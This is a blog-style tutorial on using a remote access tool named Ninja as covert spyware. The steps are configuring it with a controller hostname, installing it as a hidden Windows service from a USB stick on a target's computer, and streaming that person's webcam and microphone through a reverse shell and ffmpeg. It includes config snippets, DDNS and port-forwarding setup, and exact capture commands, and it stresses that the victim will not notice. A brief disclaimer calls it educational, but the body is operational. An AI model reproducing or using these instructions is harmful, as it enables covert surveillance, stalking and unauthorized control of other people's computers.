In this article, I'll show you how to watch any computer webcam and listen to the mic (live) using the remote access tool as your highly skilled spy! Ninja All you need is to set up Ninja on a USB and take 10 seconds to insert it to the target computer, click on Ninja installer (will take 1 second to install), and done! Now you can watch webcam and screen, listen to the mic and audio output and literally do anything on the target computer from anywhere. This article is for informational purposes only and was created to educate about this vulnerability. HackerNoon does not promote spyware or hacking in anyway and hope that this content can teach people how to defend against such attacks by learning how they work. Important Disclaimer and Content Notice: So, What's Ninja? A general-purpose fully customizable software to control a remote computer behind any NAT, Firewall, and proxy. Providing secure shell access, file transfer, and shell stream (stream shell output from remote to a local file) This means you can literally do anything on a remote computer that has running on it. So why not use it as spyware! You can gain full control of the computer without even being noticed. All you need is to install Ninja as a service to make sure it will always be running and will start at startup Ninja The first step, Download Ninja So first we should download, extract and configure Ninja, you can download a (with included) from here : single-click Ninja installer for windows FFmpeg Ninja single click windows installer (+ FFmpeg) Note that this installer will install Ninja in and name the service . To customize this, you can change the installation config file in : C:/Ninja-v1.2.1-win Ninja-v1.2.1-win.exe config/installation-config.json } { // path to copy Ninja files "destDir" : "C:/Ninja-v1.2.1-win" , // name of service "name" : "Ninja-v1.2.1-win" , // service description "description" : "Ninja-v1.2.1-win" , // dont change this one, it's // the name of exe file in installer "serviceFile" : "Ninja-v1.2.1-win.exe" (This installer uses , you can use it to install anything as a service) Servicifier Note that Ninja also works on other platforms but I've not created a fast installer for them yet (maybe later). You can download latest releases for all platforms from and manually install them as service on target computers. To record webcam and mic, you'll also need to add FFmpeg; this can be done in one of these ways: here (Ninja releases) including FFmpeg files directly beside Ninja files (like what I've done for the installer above) after you remotely connected to Ninja from the controller computer, order Ninja to download it on target download FFmpeg on the controller computer and upload them to Ninja to place them on the target computer Configure it The only mandatory config is to set and The Ninja will use these to communicate with the controller computer. You can find this configuration in in installer folder (if you don't use the single-click installer, it will be in ) hostname port. files/config/constants.json config/constants.json also better set a for Ninja to identify it in case you have several Ninjas name }, } { // Connection port "PORTS" : { "DATA" : 3707 // Controller computer's hostname "HOST" : "controller.com" , // Ninja identifier; usefull when working with multiple Ninjas "NAME" : "Ninja's Name" , // ... (You can find the full Ninja config file ) here The important point is to use a stable hostname, of course, you can use your ip address, but since it's dynamic (unless you have purchased a static one), and will change. So the Ninja won't be able to communicate with the controller computer anymore. Setup A Hostname There are few ways to get a stable hostname: you can get a DDNS hostname easily and for free from services like and Dynamic DNS (DDNS): No-IP DuckDNS you can purchase a VPS and use its IP address or hostname VPS: Static IP Domain Name So the first option (DDNS) is the best I can offer, it's free and easy. The next three options are all paid. Also, the VPS option has the downside that you'll have to always use it to control your Ninja. Here we'll use first option, so let's set it up! Get A DDNS Hostname You can use free dynamic DNS services like and to get a hostname. It's very easy and straightforward. All you need is to create an account, create a hostname and set your network's (controller computer network's) IP address as its IP. To find your IP address, you can simply search in google ( ) No-IP DuckDNS my IP on controller computer with no VPN It might be annoying to find your IP address, open the DDNS provider website and set it on your hostname every time your IP changes. That's why s (Dynamic Update Client) exist. You can download a DUC, install it on your (controller) computer and it will update your hostname with your IP whenever it changes. No-IP has its own DUC, not sure about DuckDNS DUC Alright, if you got the hostname and set it in the Ninja config file, it's time to meet an Elite Ninja (Jonin) Download Jonin Ninja will be your spy on the remote computer but you'll need some commander to communicate with and command the Ninja. That's where comes in Jonin (meaning elite Ninja!) So first, you'll need to download and extract Jonin on the controller computer: Download Jonin Then open the config file in and change the to match with Ninja's port config/constants.json port }, } { // connection port "PORTS" : { "DATA" : 3707 //.... The Jonin computer should have the communication port open, so you should forward the port on your router. There are many guides on the web, from No-IP is a nice one this one Also if your ISP uses some NAT, you should ask them to change your NAT type, rather change it to (note that this NAT type is less secure than others, not a big deal though), in order to let incoming packets (Ninja messages in this case) into your network open Install Ninja On Target Now that everything is set up, it's time to sneak! Copy all files of the extracted and configured Ninja installer into a USB drive. All you need after is 10 seconds to install it on target. Once you got it, insert a USB drive, click on Servicifier executable (better run as administrator), click on when prompted to Yes allow the app to make changes and that's it! now you can go back to your computer and ask to command your ! Jonin Ninja(s) Record Webcam and Mic Now that your Ninja has sneaked into the target, let the hacking begin! First, open Jonin, press any key until you arrive on the console. Then type: to get a list of your Ninjas (only one in this case) list , to connect to Ninja 1 connect 1 and then to switch to reverse shell access change cmd Now type this command to list all DirectShow devices: FFmpeg\ffmpeg -list_devices true -f dshow -i dummy Find camera and mic devices in the list: Next, type and then to switch to shell stream command type. Finally, type this command which will stream camera and mic into and any error will go into . After running this command, you'll see file names with szie of data streamed to each (you can press to end stream): change cmd-stream G:/cam.mkv G:/cam-err.txt Esc @FFmpeg\ffmpeg -f dshow -i video="Lenovo EasyCamera":audio="Microphone Array (2- Realtek High Definition Audio)" -f matroska -@G:/cam.mkv@G:/cam-err.txt@ You see I have 10 MB of video streamed into . And that's it! You can now watch Ninja's webcam and the target user won't even notice G:/cam.mkv LIVE Ninjas can do MUCH MORE This was just one simple functionality of Ninja. You can do almost unlimited things after you placed your Ninja on a computer You can find full usage instructions here: Jonin's Usage Guide Repositories: Ninja's GitHub Jonin's GitHub Feel free to ask any questions, I'll be happy to help. Also, let me know if you have any suggestions Thanks for reading

Too Long; Didn't Read

Making security fun one episode at a time

Hack Webcam Using Ninja as Spyware

Too Long; Didn't Read

Erfan Azary (ErAz7)

About Author

TOPICS

THIS ARTICLE WAS FEATURED IN...

Hack Webcam Using Ninja as Spyware

Too Long; Didn't Read

Erfan Azary (ErAz7)

About Author

TOPICS

THIS ARTICLE WAS FEATURED IN...

RELATED STORIES